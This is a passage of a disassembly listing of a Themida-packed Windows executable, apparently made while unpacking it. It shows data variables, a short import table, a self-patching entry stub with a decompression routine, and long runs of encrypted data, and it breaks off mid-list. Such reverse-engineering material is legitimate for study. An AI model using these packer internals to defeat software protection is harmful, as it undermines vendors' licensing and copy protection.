sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB2B0 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB2C4 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB2C8 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2D0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2D4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2D8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2E0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2E8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2EC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2F0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2F4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2FC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB300 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB308 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB30A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB30E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB310 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB312 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB318 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB320 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB324 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB328 dd 0 ; DATA XREF: sub_41F312r dword_4DB32C dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB330 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB334 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB33C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB340 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB344 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB348 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB34C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB350 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB354 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB358 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB35C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB364 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB374 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB37C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB380 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2E0o align 10h dd 3Ah dup(0) dword_4DB488 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB48C dd 0 ; DATA XREF: sub_423590+21r dword_4DB490 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB494 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB498 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB4A0 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB4A2 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB4A4 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB4C0 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB4C4 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB4C8 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB4CC dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4D0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4D8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4E0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4E4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB524 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB526 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB528 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB52A dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB52C dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB52E dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB530 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB532 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB534 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB538 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB578 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB57A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB57C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB57E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB580 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB582 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB584 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB586 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB588 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB58C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB590 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB594 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB598 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB59C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB5A0 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB5A4 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB5A8 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB5AC dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB5B0 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB5B8 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB5BC dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB5C0 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB5C4 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB5C8 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... dd 5 dup(0) dword_4DB5E0 dd 400h dup(0) ; DATA XREF: ___:off_43CA18o ; ___:0043CA20o dword_4DC5E0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC600 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC604 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC700 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC704 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC710 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC71C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC720 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC820 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC821 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC924 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC928 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC92C dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC930 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC934 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC938 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC93C dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC940 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC944 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC948 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC94C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC950 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC954 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC958 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC95C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1A8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dword_4DE000 dd 400h dup(0) ; DATA XREF: Themida_:00540B30o _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨ηw΅\ηw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E1000 ( 921600.) ; Section size in file : 000E1000 ( 921600.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 91A98FC9h, 4D5E6h, 5409Ah, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053DF73 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005412E0 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00541556 SIZE 00000069 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A64o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53DF73 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53DF73 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1563368h, 354BCBBh, 696D6568h, 2A846164h, 470138EAh dd 2223EEBFh, 0F2FB46B8h, 0FB102E11h, 0E19822EFh, 52F0EB0Fh dd 741C7365h, 41CE7261h, 4F2E2F70h, 0F5239C78h, 81721D9h dd 28EDA55Fh, 0B835F975h, 0C8FB4603h, 6F847B33h, 0B824C8FBh dd 9ED3BB43h, 0E0D4FF40h, 7092A3BFh, 0E758F03h, 0FE1103C6h dd 848B71E8h, 0BEF4AE3Bh, 0CDEF187Ah, 15C20336h, 3430F8D5h dd 42312D38h, 6068FDFEh, 0C58BF1FAh, 5060D4C8h, 5D0AE8h dd 3377ED81h, 95890645h, 0D240130h, 88154DB5h, 1440C585h dd 0F9BD1083h, 740E7003h, 45E88B0Ch, 0E523B8E2h, 3870DEC2h dd 3EE72444h, 6A1C98B1h, 29A3E8CCh, 749A0F68h, 0DF4A0783h dd 4B25030Ah, 0D5D20A89h, 214E921h, 1FAEC4Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+73465EAh], al mov ebx, edx mov dword ptr [eax+ebx*8-73h], 400E8C08h mov [eax], ecx cmp dword ptr [esi+7Dh], 741D8063h ; --------------------------------------------------------------------------- dw 3F0Fh dd 83920820h, 0FF104CCFh, 0EB314312h, 61DC36E1h, 0C90A26BAh dd 34604C2h, 0FF7CC481h, 22490247h, 28D73AEh, 85D8B80h dd 198885C7h, 0A8D9450h, 88C3D101h, 51894118h, 44BD810Bh dd 755D0506h, 8D2728E3h, 0D864BA51h, 8A098075h, 20F4BB0Eh dd 37ABB85Bh, 0D3781F54h, 80F98D0h, 0F776754Bh, 47C3AF0Ah dd 46484A46h, 4245F9C5h, 8A7461D1h, 0BFF0D00Eh, 0FC45EEB1h dd 4EB4D41h, 4691AD47h, 408A3E80h, 6D84BAF7h, 0C7DCC34h dd 3E7FEB32h, 906D19F8h, 0E99F012h, 4A1050F4h, 0F02865C1h dd 0F807D604h, 0C203E0D1h, 333282Ch, 301C8ADBh, 7299FB80h dd 390A870Ah, 0EBA70577h, 14224CDEh, 0CF0DFE61h, 8ED660Ah dd 0C3E9EB1Eh, 8610D50Ah, 0B72411Ah, 77461B0Ah, 43D42406h dd 0EF05D01h, 7D83F4ECh, 0B0720263h, 76C00C66h, 0C8AAECA5h dd 0C039F826h, 0A840ED8Dh, 15FC553Bh, 0BD78820Fh, 0AA37B038h dd 1CBACA38h, 15B91C08h, 0BD08FC70h, 0FE0035F4h, 7549470Fh dd 22B938FAh, 0BB9C6ABBh, 0F18D7E01h, 0E30CEB82h, 2868EB0h dd 7463807h, 36066551h, 8ADCFF1Dh, 0E907A126h, 0B3590543h dd 170D0015h, 0FCC15638h, 0E6006E1Ch, 0F1606376h, 0F47CF7h dd 0E99BD492h, 5CF98B98h, 40BC6700h, 6BC32C04h, 0EF527E01h dd 5A214B87h, 4D8A20C4h, 82330525h, 180845h, 0C4524221h dd 0C60E9FC9h, 6719F490h, 0F1A2DF8Ch, 0E4828240h, 5E7D18DCh dd 1FE56A51h, 34CB8C1Ch, 39007F3Ch, 0F765B4Eh, 1F51B810h dd 1DD1043Dh, 6446983Bh, 2E750975h, 480E1160h, 2865E4ECh dd 27E0690h, 8E05C584h, 9BA41596h, 54047853h, 668C29C2h dd 0EE7DA71h, 2BFFB5CCh, 4773081h, 0C1341D22h, 33F98406h dd 41BC2075h, 0D90ADD3Fh, 2309CEFh, 26EC41CEh, 7ECC7F8Ch dd 3F4043FFh, 60E9A945h, 52C46240h, 11B5A08Ch, 0B1AA2882h dd 5AABCD11h, 56130884h, 5E820191h, 0AA20EE82h, 0DE082281h dd 548A1F37h, 234013B9h, 1443A597h, 0D939E1F9h, 10DA8D83h dd 2100028Eh, 5E281F6h, 0C860B161h, 0DDA0041Ah, 0B62CA1Ch dd 1A8618FEh, 78DB8C19h, 40BDA3C8h, 9BC2588h, 7E7B4D45h dd 31EA1723h, 79171B42h, 0C012E988h, 833BC70Bh, 3A02CA33h dd 0AC0441B0h, 0FC92601Eh, 2C6E0A5Ah, 1D8410h, 0C4EFCC82h dd 5C5870F5h, 8A590E0Ch, 600A2D86h, 2817C291h, 0CA0032EAh dd 0AF7FFDA4h, 0D8ACEEh, 0A866CFD3h, 0ADE4B72h, 0D644C964h dd 3913E946h, 0D9B7A500h, 3FA7CDFEh, 9D780039h, 839FD818h dd 0AE00CAAFh, 59D78CB5h, 4068C182h, 8D52106Fh, 0A8BB00C1h dd 692554CEh, 0FD1C6467h, 890B4008h, 14880E81h, 1BEA7816h dd 0A107017Bh, 5F5C39D7h, 2B0C40E9h, 0EA007653h, 16EC82D0h dd 1447490Dh, 0BB398C5Ch, 0EFF01860h, 2F5417D8h, 0B00FA28h dd 8274CC3Eh, 0F3677F8h, 0C98B39B5h, 0D10CC800h, 673D263Fh dd 588E8EBAh, 23BC4153h, 5AF0E505h, 1902C5Ch, 0E9F506CEh dd 543E570Ch, 0B92E03D1h, 0E88F08AFh, 3B5A304Ch, 91048262h dd 53E3B0Bh, 910D5D68h, 0FF0C158Dh, 0BDCA0090h, 7F3B476h dd 0D700AD4Bh, 490526EDh, 0C0228AD3h, 845BD1D8h, 459002EFh dd 0F44565E3h, 0E90077BBh, 118CE29Ah, 1A6E172h, 0C4E7B803h dd 40BCF30Bh, 15E351D9h, 8F720C3Ch, 687318Ch, 3C111316h dd 6791132h, 69AEFC8h, 201F18A4h, 0C4C0A065h, 0C3960F32h dd 384E1C11h, 671C80C6h, 9CEF3A54h, 0D2979E03h, 125103Bh dd 360A2910h, 0E0FBE431h, 0FA7FA304h, 191C0EF0h, 867BEA3Ch dd 2368E1Fh, 0D33A0081h, 0BB240BB1h, 0AA0070A9h, 4BA62E15h dd 0E02935Bh, 83DAE13Eh, 0E9E0E506h, 2A66B006h, 10DE6Eh dd 0E1B288F0h, 0DD28DB4Eh, 0E3F3BC00h, 0A00E4A83h, 0F07955h dd 7FD5A77h, 6ECAA78Fh, 38064CF2h, 652BAD28h, 0EB8A5C49h dd 365C5D00h, 191BC57Ch, 0E5A84C00h, 8893AEEDh, 11FC037Eh dd 6009E371h, 0E630C170h, 369399E4h, 1319C007h, 3492BAE0h dd 0AE942006h, 69582Bh, 3C93CC9Ch, 0E26546D1h, 10137400h dd 0DF339AA5h, 964E1D84h, 30B42AB5h, 1150312Bh, 8E007043h dd 79632F65h, 783BAA61h, 217E39C2h, 16012409h, 0FA9A8F00h dd 1A0E7B75h, 9872E4FBh, 5CF418h, 4B1BD6Ch, 0E9B52A7Dh dd 29735131h, 9413E7F5h, 0AB03497Ch, 0FA9E99D7h, 7F5024EDh dd 0C3D80798h, 24186A14h, 2D81036Dh, 50E06932h, 67031283h dd 318BCE15h, 0DF7001D7h, 0DD737D34h, 7F1080C4h, 9DE2D0A1h dd 1680CE5Dh, 700D8887h, 0C1471F6Ah, 1CF1DE00h, 0BA72B313h dd 85DA187Fh, 0B883B005h, 7CA9CC10h, 81676510h, 0E72281DFh dd 0FF71A080h, 2315F2E3h, 0A2C98D0Ch, 0C0F18DCh, 0D20984F6h dd 131C3588h, 76D0204Ah, 0F0B4A000h, 7006ED33h, 0D1F2C601h dd 0CD9584F5h, 7E463086h, 9D00F9EAh, 81A8BE0Dh, 0A191E0h dd 0C015BF95h, 717D07B2h, 0FE1FCF15h, 0A0400C4h, 0C810F1FAh dd 568D01B7h, 7C091CEDh, 0A0805077h, 0C91BDF17h, 0BEA8ECB2h dd 84BD0381h, 1CCD568Eh, 8A7261D1h, 7CF165C9h, 0AC698D0Eh dd 0CBD39DBh, 0E46E817Fh, 0F10ADF10h, 0A4B25047h, 71659D0Ch dd 0CD1D243Ah, 5AA70036h, 0D08FDA7Ch, 1308E500h, 0CF27FFE2h dd 5BD30389h, 5F9DB21Ch, 0CAB73900h, 0A41EDAB9h, 0BF8B00B8h dd 0ED268E03h, 91C00795h, 0A49D30BDh, 34CF1F4Ah, 0DF18051Eh dd 3B35C08Dh, 0D4068661h, 15FF95C9h, 0DB9E0030h, 1E0ACCA8h dd 0E00A3CCFh, 0E4D1BA61h, 64887EC4h, 875E005Bh, 7C694EF0h dd 0E5402D2Ah, 66C1280h, 1C7863F2h, 9D04B0A0h, 0C0C15E6Eh dd 0E714EDC9h, 18B33F94h, 0EB14F452h, 3680D882h, 15BC61DEh dd 0B70C4090h, 59747E5Fh, 0EEA473FCh, 0D9A8019Ch, 485C69AEh dd 0A11020CBh, 8DEB3A09h, 0B8282801h, 19F0CF60h, 0BE3001E1h dd 9AD7F7A3h, 21CDED91h, 0AF70E8D6h, 76F2E603h, 2408E060h dd 11E08A78h, 84EA0DE8h, 0D8F05914h, 2B19C77Ch, 6967A609h dd 0CA2EA601h, 0B0CC6448h, 80842DBh, 8A250F01h, 244DE1DDh dd 800A56A8h, 0B87EB261h, 2C39DB02h, 7D1848EDh, 36530E2h dd 0BD981128h, 0B8735974h, 54F36438h, 4748BAE0h, 0D498001Ch dd 17B830DCh, 0DF090B2h, 1899427Dh, 6269D069h, 0F6C46F41h dd 0D5292874h, 0DB0B0C9Ch, 0FE28D0ACh, 0AEC55C18h, 3E031618h dd 0D11841EDh, 8B7BF1D8h, 0BA206118h, 2A927548h, 1A059B1h dd 3A674BDEh, 0C8D5F27Fh, 0EF037350h, 0C5712157h, 2399A001h dd 3BD63BE8h, 0B82B1C80h, 0C10AB577h, 7FC03500h, 0E25ABF26h dd 0D5483887h, 8DA9DF87h, 51A240A0h, 0AD03FBFDh, 0A426332Eh dd 0C1100096h, 0FE1346D7h, 0A1004016h, 7824497Ah, 0E242BFh dd 0C1932B1Fh, 